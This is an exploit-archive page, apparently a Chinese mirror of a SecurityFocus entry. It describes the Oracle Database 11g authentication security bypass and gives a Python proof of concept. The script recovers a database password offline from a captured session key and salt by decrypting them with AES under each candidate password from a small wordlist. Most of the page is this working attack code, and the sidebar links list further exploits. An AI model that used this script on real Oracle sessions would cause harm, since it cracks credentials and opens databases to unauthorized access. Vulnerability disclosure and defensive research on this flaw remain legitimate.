首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Oracle Database Authentication Protocol Security Bypass
来源:http://www.securityfocus.com 作者:Esteban 发布时间:2012-10-19  

Source: http://www.securityfocus.com/bid/55651/info

Oracle Database is prone to a remote security-bypass vulnerability that affects the authentication protocol.

An attacker can exploit this issue to bypass the authentication process and gain unauthorized access to the database.

This vulnerability affects Oracle Database 11g Release 1 and 11g Release 2.


    #-*-coding:utf8 -*-
    
    import hashlib
    from Crypto.Cipher import AES
    
    def decrypt(session,salt,password):
            pass_hash = hashlib.sha1(password+salt)
    
            #......... ..... ..... .......... .. 24 ....
            key = pass_hash.digest() + '\x00\x00\x00\x00'
            decryptor = AES.new(key,AES.MODE_CBC)
            plain = decryptor.decrypt(session)
            return plain
    
    #............. ........... ...... 48 ....
    session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'
    
    #.... 10 ....
    salt_hex = 'A7193E546377EC56639E'
    
    passwords = ['test','password','oracle','demo']
    
    for password in passwords:
            session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
            print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex'))
            if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
                    print 'PASSWORD IS "%s"' % password
                    break


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Internet Explorer 9 XSS Filter
·BestPlay v4.1 (.mp3) Crash PoC
·JPEGsnoop 1.5.2 <= WriteAV Arb
·ManageEngine Security Manager
·NCMedia Sound Editor Pro v7.5.
·ManageEngine Security Manager
·ManageEngine Security Manager
·Internet Explorer 9 XSS Filter
·Samsung Kies 2.3.2.12054_20 Mu
·RealPlayer 15.0.6.14 (.3GP) Ar
·Ezhometech EzServer 7.0 Remote
·Adobe reader 10.1.4 memory cor
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved